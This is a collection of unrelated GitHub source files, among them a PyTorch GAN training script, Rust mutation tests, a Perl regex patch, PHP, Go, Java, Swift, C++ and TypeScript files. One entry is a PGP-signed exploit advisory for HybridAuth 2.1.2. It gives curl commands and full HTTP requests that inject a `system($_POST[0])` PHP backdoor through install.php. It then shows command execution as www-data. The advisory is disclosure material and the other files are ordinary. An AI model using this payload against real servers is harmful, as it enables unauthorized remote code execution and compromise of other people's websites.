torch.load(os.path.join(save_model_dir, modelName + '_epoch-' + str(resume_epoch - 1) + '.pth'),
map_location=lambda storage, loc: storage))
# Logging into Tensorboard
log_dir = os.path.join(save_dir, 'JointPredSegNet_runs', datetime.now().strftime('%b%d_%H-%M-%S') + '_' + socket.gethostname())
writer = SummaryWriter(log_dir=log_dir, comment='-parent')
# PyTorch 0.4.0 style
net.to(device)
netD.to(device)
lp_function = nn.MSELoss().to(device)
criterion = nn.BCELoss().to(device)
seg_criterion = nn.BCEWithLogitsLoss().to(device)
# Use the following optimizer
optimizer = optim.SGD([
{'params': [param for name, param in net.seg_encoder.named_parameters()], 'lr': seg_lr},
{'params': [param for name, param in net.seg_decoder.named_parameters()], 'lr': seg_lr},
], weight_decay=wd, momentum=0.9)
optimizerG = optim.Adam([{'params': [param for name, param in net.pred_encoder.named_parameters()], 'lr': pred_lr},
{'params': [param for name, param in net.pred_decoder.named_parameters()], 'lr': pred_lr},], lr=pred_lr, weight_decay=wd)
optimizerD = optim.Adam(netD.parameters(), lr=lr_D, weight_decay=wd)
# Preparation of the data loaders
# Define augmentation transformations as a composition
composed_transforms = transforms.Compose([tr.RandomHorizontalFlip(),
tr.ScaleNRotate(rots=(-30, 30), scales=(0.75, 1.25))
])
# Training dataset and its iterator
db_train = db.DAVISDataset(inputRes=(400,710),samples_list_file=os.path.join(Path.data_dir(),'DAVIS16_samples_list_'+str(num_frame)+'.txt'),
transform=composed_transforms,num_frame=num_frame)
trainloader = DataLoader(db_train, batch_size=batch_size, shuffle=True, num_workers=4)
num_img_tr = len(trainloader)
iter_num = nEpochs * num_img_tr
curr_iter = resume_epoch * num_img_tr
print("Training Network")
real_label = torch.ones(batch_size).float().to(device)
fake_label = torch.zeros(batch_size).float().to(device)
for epoch in range(resume_epoch, nEpochs):
start_time = timeit.default_timer()
for ii, sample_batched in enumerate(trainloader):
seqs, frames, gts, pred_gts = sample_batched['images'], sample_batched['frame'],sample_batched['seg_gt'], \
sample_batched['pred_gt']
# Forward-Backward of the mini-batch
seqs.requires_grad_()
frames.requires_grad_()
seqs, frames, gts, pred_gts = seqs.to(device), frames.to(device), gts.to(device),pred_gts.to(device)
pred_gts = F.upsample(pred_gts, size=(100, 178), mode='bilinear', align_corners=False)
pred_gts = pred_gts.detach()
seg_res, pred = net.forward(seqs, frames)
D_real = netD(pred_gts)
errD_real = criterion(D_real, real_label)
D_fake = netD(pred.detach())
errD_fake = criterion(D_fake, fake_label)
optimizer.zero_grad()
seg_loss = seg_criterion(seg_res[-1], gts)
for i in reversed(range(len(seg_res) - 1)):
seg_loss = seg_loss + (1 - curr_iter / iter_num) * seg_criterion(seg_res[i],gts)
seg_loss.backward()
optimizer.step()
curr_iter += 1
if updateD:
############################
# (1) Update D network: maximize log(D(x)) + log(1 - D(G(z)))
###########################
# train with real
netD.zero_grad()
# train with fake
d_loss = errD_fake + errD_real
d_loss.backward()
optimizerD.step()
if updateG:
############################
# (2) Update G network: maximize log(D(G(z)))
###########################
optimizerG.zero_grad()
D_fake = netD(pred)
errG = criterion(D_fake, real_label)
lp_loss = lp_function(pred, pred_gts)
total_loss = lp_loss + beta * errG
total_loss.backward()
optimizerG.step()
if (errD_fake.data < margin).all() or (errD_real.data < margin).all():
updateD = False
if (errD_fake.data > (1. - margin)).all() or (errD_real.data > (1. - margin)).all():
updateG = False
if not updateD and not updateG:
updateD = True
updateG = True
if (ii + num_img_tr * epoch) % 5 == 4:
print(
"Iters: [%2d] time: %4.4f, lp_loss: %.8f, G_loss: %.8f,seg_loss: %.8f"
% (ii + num_img_tr * epoch, timeit.default_timer() - start_time, lp_loss.item(),errG.item(), seg_loss.item())
)
print('updateD:', updateD, 'updateG:', updateG)
if (ii + num_img_tr * epoch) % 10 == 9:
writer.add_scalar('data/loss_iter', total_loss.item(), ii + num_img_tr * epoch)
writer.add_scalar('data/lp_loss_iter', lp_loss.item(), ii + num_img_tr * epoch)
writer.add_scalar('data/G_loss_iter', errG.item(), ii + num_img_tr * epoch)
writer.add_scalar('data/seg_loss_iter', seg_loss.item(), ii + num_img_tr * epoch)
if (ii + num_img_tr * epoch) % 500 == 0:
seg_pred = seg_res[-1][0, :, :, :].data.cpu().numpy()
seg_pred = 1 / (1 + np.exp(-seg_pred))
gt_sample = gts[0, :, :, :].data.cpu().numpy().transpose([1, 2, 0])*255
seg_pred = seg_pred.transpose([1, 2, 0])*255
frame_sample = frames[0, :, :, :].data.cpu().numpy().transpose([1, 2, 0])
frame_sample = inverse_transform(frame_sample)*255
gt_sample3 = np.concatenate([gt_sample,gt_sample,gt_sample],axis=2)
seg_pred3 = np.concatenate([seg_pred,seg_pred,seg_pred],axis=2)
samples1 = np.concatenate((seg_pred3, gt_sample3, frame_sample), axis=0)
pred_sample = pred[0, :, :, :].data.cpu().numpy().transpose([1, 2, 0])
frame_sample = pred_gts[0, :, :, :].data.cpu().numpy().transpose([1, 2, 0])
samples2 = np.concatenate((pred_sample, frame_sample), axis=0)
samples2 = inverse_transform(samples2) * 255
print("Saving sample ...")
running_res_dir = os.path.join(save_dir, modelName+'_results')
if not os.path.exists(running_res_dir):
os.makedirs(running_res_dir)
imageio.imwrite(os.path.join(running_res_dir, "train_%s_s.png" % (ii + num_img_tr * epoch)), np.uint8(samples1))
imageio.imwrite(os.path.join(running_res_dir, "train_%s_p.png" % (ii + num_img_tr * epoch)), np.uint8(samples2))
# Print stuff
print('[Epoch: %d, numImages: %5d]' % (epoch, (ii + 1)*batch_size))
stop_time = timeit.default_timer()
print("Execution time: " + str(stop_time - start_time))
# Save the model
if (epoch % snapshot) == snapshot - 1 and epoch != 0:
torch.save(net.state_dict(), os.path.join(save_model_dir, modelName + '_epoch-' + str(epoch) + '.pth'))
writer.close()
def inverse_transform(images):
return (images+1.)/2.
def initialize_netD(netD,model_path):
pretrained_netG_dict = torch.load(model_path)
model_dict = netD.state_dict()
# 1. filter out unnecessary keys
pretrained_dict = {k: v for k, v in pretrained_netG_dict.items() if k in model_dict}
# 2. overwrite entries in the existing state dict
model_dict.update(pretrained_dict)
netD.load_state_dict(model_dict)
def initialize_model(pred_enc, seg_enc, pred_dec, j_seg_dec,save_dir,num_frame=4):
print("Loading weights from pretrained NetG")
pretrained_netG_dict = torch.load(os.path.join(save_dir,'FramePredModels','frame_nums_'+str(num_frame), 'NetG_epoch-90.pth'))
model_dict = pred_enc.state_dict()
# 1. filter out unnecessary keys
pretrained_dict = {k: v for k, v in pretrained_netG_dict.items() if k in model_dict}
# 2. overwrite entries in the existing state dict
model_dict.update(pretrained_dict)
pred_enc.load_state_dict(model_dict)
model_dict = pred_dec.state_dict()
# 1. filter out unnecessary keys
pretrained_dict = {k: v for k, v in pretrained_netG_dict.items() if k in model_dict}
# 2. overwrite entries in the existing state dict
model_dict.update(pretrained_dict)
pred_dec.load_state_dict(model_dict)
print("Loading weights from pretrained SegBranch") #'Seg_UPerNet_Att_single',
pretrained_SegBranch_dict = torch.load(os.path.join(save_dir,'Seg_Branch','1Seg_Branch_epoch-11999.pth'))
model_dict = seg_enc.state_dict()
# 1. filter out unnecessary keys
pretrained_dict = {k[8:]: v for k, v in pretrained_SegBranch_dict.items() if k[8:] in model_dict}
# 2. overwrite entries in the existing state dict
model_dict.update(pretrained_dict)
# 3. load the new state dict
seg_enc.load_state_dict(model_dict)
model_dict = j_seg_dec.state_dict()
# 1. filter out unnecessary keys
pretrained_dict = {k[8:]: v for k, v in pretrained_SegBranch_dict.items() if k[8:] in model_dict}
# 2. overwrite entries in the existing state dict
model_dict.update(pretrained_dict)
# 3. load the new state dict
j_seg_dec.load_state_dict(model_dict)
if __name__ == "__main__":
main_arg_parser = argparse.ArgumentParser(description="parser for train frame predict")
main_arg_parser.add_argument("--frame_nums", type=int, default=4,
help="input frame nums")
args = main_arg_parser.parse_args()
main(args)
|
{
"pile_set_name": "Github"
}
|
mod test_and_i32 {
use ::mutagen::mutate;
use ::mutagen::MutagenRuntimeConfig;
// simple function that sums two values
#[mutate(conf = local(expected_mutations = 2), mutators = only(binop_bit))]
fn and_u32() -> u32 {
0b10 & 0b11
}
#[test]
fn and_u32_inactive() {
MutagenRuntimeConfig::test_without_mutation(|| {
assert_eq!(and_u32(), 0b10);
})
}
#[test]
fn sum_u32_active1() {
MutagenRuntimeConfig::test_with_mutation_id(1, || {
assert_eq!(and_u32(), 0b11);
})
}
#[test]
fn sum_u32_active2() {
MutagenRuntimeConfig::test_with_mutation_id(2, || {
assert_eq!(and_u32(), 0b01);
})
}
}
|
{
"pile_set_name": "Github"
}
|
From 1f27900352e04ff4f19bec1c1e9635adad2be31c Mon Sep 17 00:00:00 2001
From: Niko Tyni <[email protected]>
Date: Fri, 18 May 2018 10:40:00 +0100
Subject: [PATCH] Fix unescaped left braces in regexps, deprecated since Perl
5.27.8
This fixes test failures on recent Perl versions.
---
tp/Texinfo/Parser.pm | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/tp/Texinfo/Parser.pm b/tp/Texinfo/Parser.pm
index dc32ca2..c577aa9 100644
--- a/tp/Texinfo/Parser.pm
+++ b/tp/Texinfo/Parser.pm
@@ -5478,11 +5478,11 @@ sub _parse_special_misc_command($$$$)
}
} elsif ($command eq 'clickstyle') {
# REMACRO
- if ($line =~ /^\s+@([[:alnum:]][[:alnum:]\-]*)({})?\s*/) {
+ if ($line =~ /^\s+@([[:alnum:]][[:alnum:]\-]*)(\{\})?\s*/) {
$args = ['@'.$1];
$self->{'clickstyle'} = $1;
$remaining = $line;
- $remaining =~ s/^\s+@([[:alnum:]][[:alnum:]\-]*)({})?\s*(\@(c|comment)((\@|\s+).*)?)?//;
+ $remaining =~ s/^\s+@([[:alnum:]][[:alnum:]\-]*)(\{\})?\s*(\@(c|comment)((\@|\s+).*)?)?//;
$has_comment = 1 if (defined($4));
} else {
$self->line_error (sprintf($self->__(
--
2.17.0
|
{
"pile_set_name": "Github"
}
|
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
######################################################################
# _ ___ _ _ ____ ____ _ _____
# | | / _ \| \ | |/ ___|/ ___| / \|_ _|
# | | | | | | \| | | _| | / _ \ | |
# | |__| |_| | |\ | |_| | |___ / ___ \| |
# |_____\___/|_| \_|\____|\____/_/ \_\_|
#
# HybridAuth <= 2.1.2 Remote Code Execution
# Website : http://hybridauth.sourceforge.net/
# Exploit Author : @u0x (Pichaya Morimoto)
# Release dates : August 5, 2014
#
# Special Thanks to 2600 Thailand group
# https://www.facebook.com/groups/2600Thailand/ , http://2600.in.th/
#
########################################################################
[+] Description
============================================================
HybridAuth enable developers to easily build social applications to engage
websites
vistors and customers on a social level by implementing social signin,
social sharing,
users profiles, friends list, activities stream, status updates and more.
[+] Exploit
============================================================
The default installation leave "install.php" untouched.
$ curl http://victim/hybridauth/install.php -d
'GLOBAL_HYBRID_AUTH_URL_BASE=".system($_POST[0]));/*'
$ curl http://victim/hybridauth/config.php -d '0=id;ls -lha'
[+] Proof-of-Concept
============================================================
PoC Environment: Ubuntu 14.04, PHP 5.5.9, Apache 2.4.7
Download :
http://sourceforge.net/projects/hybridauth/files/hybridauth-2.1.2.zip/download
1. Inject Evil PHP Backdoor
POST /hybridauth/install.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: th,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
GLOBAL_HYBRID_AUTH_URL_BASE=".system($_POST[0]));/*
HTTP/1.1 200 OK
Date: Mon, 04 Aug 2014 18:53:36 GMT
Server: Apache
X-Powered-By: PHP/5.5.9-1ubuntu4.3
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
Content-Length: 2437
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
<html>
<head>
<title>HybridAuth Installer</title>
...
2. Gaining access to the PHP backdoor
POST /hybridauth/config.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: th,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
0=id;ls%20-lha
HTTP/1.1 200 OK
Date: Mon, 04 Aug 2014 18:54:56 GMT
Server: Apache
X-Powered-By: PHP/5.5.9-1ubuntu4.3
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
Content-Length: 403
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 40K
drwxrwxr-x 3 longcat longcat 4.0K Feb 15 2013 .
drwxr-xr-x 4 longcat www-data 4.0K Aug 5 01:14 ..
drwxrwxr-x 5 longcat longcat 4.0K Feb 15 2013 Hybrid
- -rw-rw-r-- 1 www-data www-data 2.5K Aug 5 01:53 config.php
- -rw-rw-r-- 1 longcat longcat 488 Feb 15 2013 index.php
- -rw-rw-r-- 1 longcat longcat 18K Feb 16 2013 install.php
[+] Vulnerability Analysis
============================================================
Filename: ./install.php
...
if( count( $_POST ) ): <-- user controlled input HTTP POST data
\/-- Read a template file
$CONFIG_TEMPLATE = file_get_contents( "Hybrid/resources/config.php.tpl"
);
foreach( $_POST AS $k => $v ):
$v = strip_tags( $v );
$z = "#$k#";
\/-- #POST data's keys# found in template file will be replaced
with POST data's values
| so we can simply replace these existing values with something
fun :)
$CONFIG_TEMPLATE = str_replace( $z, $v, $CONFIG_TEMPLATE );
endforeach;
...
\/-- upload that replaced template contents into config.php
$is_installed = file_put_contents( $GLOBAL_HYBRID_AUTH_PATH_BASE .
"config.php", $CONFIG_TEMPLATE );
...
Filename: ./Hybrid/resources/config.php.tpl
...
return
array(
"base_url" => "#GLOBAL_HYBRID_AUTH_URL_BASE#", <-- #..# will be
replaced with arbitrary PHP code
...
So this is what injected "config.php" looks like...
Filename: ./config.php
<?php
...
return
array(
"base_url" => "".system($_POST[0]));/*",
"providers" => array (
// openid providers
"OpenID" => array (
"enabled" => #OPENID_ADAPTER_STATUS#
),
...
Happy Pwning ;)
LongCat
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iQIcBAEBCgAGBQJT39trAAoJEB2kHapd1XMUvFcP/je2VBLG4wDR1W2HIYCVmFOw
7WCYw+bWwDlf3rJsOJd/gQXIGIdgfGXP5nKE6nbvQ6N5a3ucHgArcjonP4kcMzTi
wNgx01wdz0YkuZOoWqMz76VWjhNt+jfLm2rG2ihro8P1wvAX8/UOlOhmWXA0loeV
pqoFeXvA5cC3lKQ8qnZiTlNepIDvoCbfo7EDpFWv+lCh23GoZsawdZ4MOg/l/D/Y
qfCCGtcyaYC2qQAHTqaim0zLF6jUEto0+Y3+3Lxi3G9JdCYGWGWrX83L5ziVIEJI
ANvaJEZF+JMzzS/RHufSMngld9IXGvDv/ZVMgn0ONH3bk2o9I19Nb/HT2DKnRSCh
1pIXWdQwnDuAM8z7ZhDakTusWlR2RiPM6YuPLUnyJHlx4PH2BnLlwVKZlNbcl97A
9qnbrUTmlivJx+Bh6HjU6TS5AN3ETVEngEG/vEkCmbEWvJyMpXppSq6a/gejDNx7
N57fqw+Vz/cWQVk7BaHK9KYQ3SnEJwdDFkCctlv13Ckd2UuOfAi1qwfZ7n6S0JgD
oVO64SpYkeodOSJ59YX9vNn/gSYLjayNKINHWhJvtVXanYHrJzZY9Orjzf5pAl3+
WOGYjuf4pPJY2XNjAE4AQ68g2Csl3cqLdbHe1yRVrPmzK1ZMQC/tjcgiB6XZObxe
kAPY+EmH3MxZ/qeob16k
=10bM
-----END PGP SIGNATURE-----
|
{
"pile_set_name": "Github"
}
|
<?php
$plugins = elgg_extract('plugins', $vars);
if (empty($plugins)) {
return;
}
// Get a list of the all categories
// and trim down the plugin list if we're not viewing all categories.
// @todo this could be cached somewhere after have the manifest loaded
$categories = [];
foreach ($plugins as $id => $plugin) {
if (!$plugin->isValid()) {
if ($plugin->isActive()) {
// @todo this needs to go somewhere else
$disable_plugins = elgg_get_config('auto_disable_plugins');
if ($disable_plugins === null) {
$disable_plugins = true;
}
if ($disable_plugins) {
// force disable and warn
elgg_add_admin_notice('invalid_and_deactivated_' . $plugin->getID(),
elgg_echo('ElggPlugin:InvalidAndDeactivated', [$plugin->getID()]));
$plugin->deactivate();
}
}
continue;
}
$plugin_categories = $plugin->getManifest()->getCategories();
if (isset($plugin_categories)) {
foreach ($plugin_categories as $category) {
if (!array_key_exists($category, $categories)) {
$categories[$category] = ElggPluginManifest::getFriendlyCategory($category);
}
}
}
}
asort($categories);
// we want bundled/nonbundled pulled to be at the top of the list
unset($categories['bundled']);
unset($categories['nonbundled']);
$common_categories = [
'all' => elgg_echo('admin:plugins:category:all'),
'active' => elgg_echo('admin:plugins:category:active'),
'inactive' => elgg_echo('admin:plugins:category:inactive'),
'bundled' => elgg_echo('admin:plugins:category:bundled'),
'nonbundled' => elgg_echo('admin:plugins:category:nonbundled'),
];
$categories = array_merge($common_categories, $categories);
echo elgg_view('admin/plugins/filter', [
'category' => "all",
'category_options' => $categories,
'active_filter' => elgg_extract('active_filter', $vars),
]);
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE html>
<!--
-- This is an automatically generated code snippet to run your query
-- using the InterMine JavaScript client library and display the results
-- in a table. The code is formatted such that you can just cut and paste
-- it into any webpage.
-->
<link rel="stylesheet" type="text/css" href="http://cdn.intermine.org/js/intermine/im-tables/latest/imtables.css">
<script charset="UTF-8" type="text/javascript" src="http://cdn.intermine.org/js/intermine/im-tables/latest/imtables-bundled.js"></script>
<!-- A place holder element in your page to hold the table -->
<div id="query-container">
<p class="apology">
Please be patient while the results of your query are retrieved.
</p>
</div>
<script type="text/javascript">
var options = {
type: 'table',
url: 'TEST_SERVICE_ROOT',
token: null,
query: {"model":{"name":"testmodel"},"title":"TEMP_NAME","select":["Employee.name"],"name":"TEMP_NAME","where":[{"path":"Employee","op":"LOOKUP","code":"A","editable":true,"switchable":false,"switched":"LOCKED","value":"EmployeeA1"}]}
};
jQuery('#query-container').imWidget(options);
</script>
|
{
"pile_set_name": "Github"
}
|
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.cxf.systest.source;
import javax.xml.ws.Endpoint;
import org.apache.cxf.Bus;
import org.apache.cxf.BusFactory;
import org.apache.cxf.bus.spring.SpringBusFactory;
import org.apache.cxf.testutil.common.AbstractBusTestServerBase;
import org.apache.cxf.testutil.common.TestUtil;
public class Server extends AbstractBusTestServerBase {
static final String PORT = TestUtil.getPortNumber(Server.class);
protected void run() {
// set the configuration file
SpringBusFactory factory = new SpringBusFactory();
Bus bus = factory.createBus("org/apache/cxf/systest/source/cxf.xml");
BusFactory.setDefaultBus(bus);
setBus(bus);
Endpoint.publish("http://localhost:" + PORT + "/SoapContext/SoapPort",
new GreeterImpl());
Endpoint.publish("http://localhost:" + PORT + "/SOAPDocLitBareService/SoapPort",
new PutLastTradePriceImpl());
}
public static void main(String[] args) {
try {
Server s = new Server();
s.start();
} catch (Exception ex) {
ex.printStackTrace();
System.exit(-1);
} finally {
System.out.println("done!");
}
}
}
|
{
"pile_set_name": "Github"
}
|
{
"images" : [
{
"idiom" : "iphone",
"size" : "29x29",
"scale" : "2x"
},
{
"idiom" : "iphone",
"size" : "40x40",
"scale" : "2x"
},
{
"idiom" : "iphone",
"size" : "60x60",
"scale" : "2x"
}
],
"info" : {
"version" : 1,
"author" : "xcode"
}
}
|
{
"pile_set_name": "Github"
}
|
// +build linux
package libcontainer
import (
"fmt"
"io/ioutil"
"path/filepath"
"strconv"
"strings"
"github.com/opencontainers/runc/libcontainer/configs"
"github.com/opencontainers/runc/types"
"github.com/vishvananda/netlink"
)
var strategies = map[string]networkStrategy{
"loopback": &loopback{},
}
// networkStrategy represents a specific network configuration for
// a container's networking stack
type networkStrategy interface {
create(*network, int) error
initialize(*network) error
detach(*configs.Network) error
attach(*configs.Network) error
}
// getStrategy returns the specific network strategy for the
// provided type.
func getStrategy(tpe string) (networkStrategy, error) {
s, exists := strategies[tpe]
if !exists {
return nil, fmt.Errorf("unknown strategy type %q", tpe)
}
return s, nil
}
// Returns the network statistics for the network interfaces represented by the NetworkRuntimeInfo.
func getNetworkInterfaceStats(interfaceName string) (*types.NetworkInterface, error) {
out := &types.NetworkInterface{Name: interfaceName}
// This can happen if the network runtime information is missing - possible if the
// container was created by an old version of libcontainer.
if interfaceName == "" {
return out, nil
}
type netStatsPair struct {
// Where to write the output.
Out *uint64
// The network stats file to read.
File string
}
// Ingress for host veth is from the container. Hence tx_bytes stat on the host veth is actually number of bytes received by the container.
netStats := []netStatsPair{
{Out: &out.RxBytes, File: "tx_bytes"},
{Out: &out.RxPackets, File: "tx_packets"},
{Out: &out.RxErrors, File: "tx_errors"},
{Out: &out.RxDropped, File: "tx_dropped"},
{Out: &out.TxBytes, File: "rx_bytes"},
{Out: &out.TxPackets, File: "rx_packets"},
{Out: &out.TxErrors, File: "rx_errors"},
{Out: &out.TxDropped, File: "rx_dropped"},
}
for _, netStat := range netStats {
data, err := readSysfsNetworkStats(interfaceName, netStat.File)
if err != nil {
return nil, err
}
*(netStat.Out) = data
}
return out, nil
}
// Reads the specified statistics available under /sys/class/net/<EthInterface>/statistics
func readSysfsNetworkStats(ethInterface, statsFile string) (uint64, error) {
data, err := ioutil.ReadFile(filepath.Join("/sys/class/net", ethInterface, "statistics", statsFile))
if err != nil {
return 0, err
}
return strconv.ParseUint(strings.TrimSpace(string(data)), 10, 64)
}
// loopback is a network strategy that provides a basic loopback device
type loopback struct {
}
func (l *loopback) create(n *network, nspid int) error {
return nil
}
func (l *loopback) initialize(config *network) error {
return netlink.LinkSetUp(&netlink.Device{LinkAttrs: netlink.LinkAttrs{Name: "lo"}})
}
func (l *loopback) attach(n *configs.Network) (err error) {
return nil
}
func (l *loopback) detach(n *configs.Network) (err error) {
return nil
}
|
{
"pile_set_name": "Github"
}
|
//
// SnapKit
//
// Copyright (c) 2011-Present SnapKit Team - https://github.com/SnapKit
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
#if os(iOS) || os(tvOS)
import UIKit
#else
import AppKit
#endif
public class LayoutConstraint : NSLayoutConstraint {
public var label: String? {
get {
return self.identifier
}
set {
self.identifier = newValue
}
}
internal weak var constraint: Constraint? = nil
}
internal func ==(lhs: LayoutConstraint, rhs: LayoutConstraint) -> Bool {
guard lhs.firstItem === rhs.firstItem &&
lhs.secondItem === rhs.secondItem &&
lhs.firstAttribute == rhs.firstAttribute &&
lhs.secondAttribute == rhs.secondAttribute &&
lhs.relation == rhs.relation &&
lhs.priority == rhs.priority &&
lhs.multiplier == rhs.multiplier else {
return false
}
return true
}
|
{
"pile_set_name": "Github"
}
|
Гильмутдинов Эдуард | Руководитель IT отдела
|
{
"pile_set_name": "Github"
}
|
//
// detail/thread_info_base.hpp
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
// Copyright (c) 2003-2019 Christopher M. Kohlhoff (chris at kohlhoff dot com)
//
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
//
#ifndef ASIO_DETAIL_THREAD_INFO_BASE_HPP
#define ASIO_DETAIL_THREAD_INFO_BASE_HPP
#if defined(_MSC_VER) && (_MSC_VER >= 1200)
# pragma once
#endif // defined(_MSC_VER) && (_MSC_VER >= 1200)
#include <climits>
#include <cstddef>
#include "asio/detail/noncopyable.hpp"
#include "asio/detail/push_options.hpp"
namespace asio {
namespace detail {
class thread_info_base
: private noncopyable
{
public:
struct default_tag
{
enum { mem_index = 0 };
};
struct awaitable_frame_tag
{
enum { mem_index = 1 };
};
struct executor_function_tag
{
enum { mem_index = 2 };
};
thread_info_base()
{
for (int i = 0; i < max_mem_index; ++i)
reusable_memory_[i] = 0;
}
~thread_info_base()
{
for (int i = 0; i < max_mem_index; ++i)
if (reusable_memory_[i])
::operator delete(reusable_memory_[i]);
}
static void* allocate(thread_info_base* this_thread, std::size_t size)
{
return allocate(default_tag(), this_thread, size);
}
static void deallocate(thread_info_base* this_thread,
void* pointer, std::size_t size)
{
deallocate(default_tag(), this_thread, pointer, size);
}
template <typename Purpose>
static void* allocate(Purpose, thread_info_base* this_thread,
std::size_t size)
{
std::size_t chunks = (size + chunk_size - 1) / chunk_size;
if (this_thread && this_thread->reusable_memory_[Purpose::mem_index])
{
void* const pointer = this_thread->reusable_memory_[Purpose::mem_index];
this_thread->reusable_memory_[Purpose::mem_index] = 0;
unsigned char* const mem = static_cast<unsigned char*>(pointer);
if (static_cast<std::size_t>(mem[0]) >= chunks)
{
mem[size] = mem[0];
return pointer;
}
::operator delete(pointer);
}
void* const pointer = ::operator new(chunks * chunk_size + 1);
unsigned char* const mem = static_cast<unsigned char*>(pointer);
mem[size] = (chunks <= UCHAR_MAX) ? static_cast<unsigned char>(chunks) : 0;
return pointer;
}
template <typename Purpose>
static void deallocate(Purpose, thread_info_base* this_thread,
void* pointer, std::size_t size)
{
if (size <= chunk_size * UCHAR_MAX)
{
if (this_thread && this_thread->reusable_memory_[Purpose::mem_index] == 0)
{
unsigned char* const mem = static_cast<unsigned char*>(pointer);
mem[0] = mem[size];
this_thread->reusable_memory_[Purpose::mem_index] = pointer;
return;
}
}
::operator delete(pointer);
}
private:
enum { chunk_size = 4 };
enum { max_mem_index = 3 };
void* reusable_memory_[max_mem_index];
};
} // namespace detail
} // namespace asio
#include "asio/detail/pop_options.hpp"
#endif // ASIO_DETAIL_THREAD_INFO_BASE_HPP
|
{
"pile_set_name": "Github"
}
|
#pragma once
/*
* Copyright (C) 2005-2008 Team XBMC
* http://www.xbmc.org
*
* This Program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2, or (at your option)
* any later version.
*
* This Program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with XBMC; see the file COPYING. If not, write to
* the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA.
* http://www.gnu.org/copyleft/gpl.html
*
*/
#include "DynamicDll.h"
typedef int abool;
typedef struct {
char author[128];
char name[128];
int year;
int month;
int day;
int channels;
int duration;
} ASAP_SongInfo;
class DllASAPInterface
{
public:
virtual ~DllASAPInterface() {}
virtual int asapGetSongs(const char *filename)=0;
virtual abool asapGetInfo(const char *filename, int song, ASAP_SongInfo *songInfo)=0;
virtual abool asapLoad(const char *filename, int song, int *channels, int *duration)=0;
virtual void asapSeek(int position)=0;
virtual int asapGenerate(void *buffer, int buffer_len)=0;
};
class DllASAP : public DllDynamic, DllASAPInterface
{
DECLARE_DLL_WRAPPER(DllASAP, DLL_PATH_ASAP_CODEC)
DEFINE_METHOD1(int, asapGetSongs, (const char *p1))
DEFINE_METHOD3(abool, asapGetInfo, (const char *p1, int p2, ASAP_SongInfo *p3))
DEFINE_METHOD4(abool, asapLoad, (const char *p1, int p2, int *p3, int *p4))
DEFINE_METHOD1(void, asapSeek, (int p1))
DEFINE_METHOD2(int, asapGenerate, (void *p1, int p2))
BEGIN_METHOD_RESOLVE()
RESOLVE_METHOD(asapGetSongs)
RESOLVE_METHOD(asapGetInfo)
RESOLVE_METHOD(asapLoad)
RESOLVE_METHOD(asapSeek)
RESOLVE_METHOD(asapGenerate)
END_METHOD_RESOLVE()
};
|
{
"pile_set_name": "Github"
}
|
import { EventEmitter } from '@angular/core';
import { Serializable } from '../../common/Serializable';
export declare enum EvoBannerTypes {
large = "large",
small = "small",
fullWidth = "full-width"
}
export declare enum EvoBannerLocations {
main = "Main",
category = "Category"
}
export interface IEvoBannerAnalytics {
url: string;
data: {
id: string;
name: string;
creative: string;
position: string;
dimension7?: string;
};
}
export declare class EvoBanner extends Serializable {
background: string;
bannerPositionNames: {
[ EvoBannerLocations.main ]: string[];
[ EvoBannerLocations.category ]: string[];
};
button: string;
id: string;
image: string;
title: string;
url: string;
constructor(data: any);
}
export declare class EvoBannerComponent {
private window;
banner: EvoBanner;
type: EvoBannerTypes;
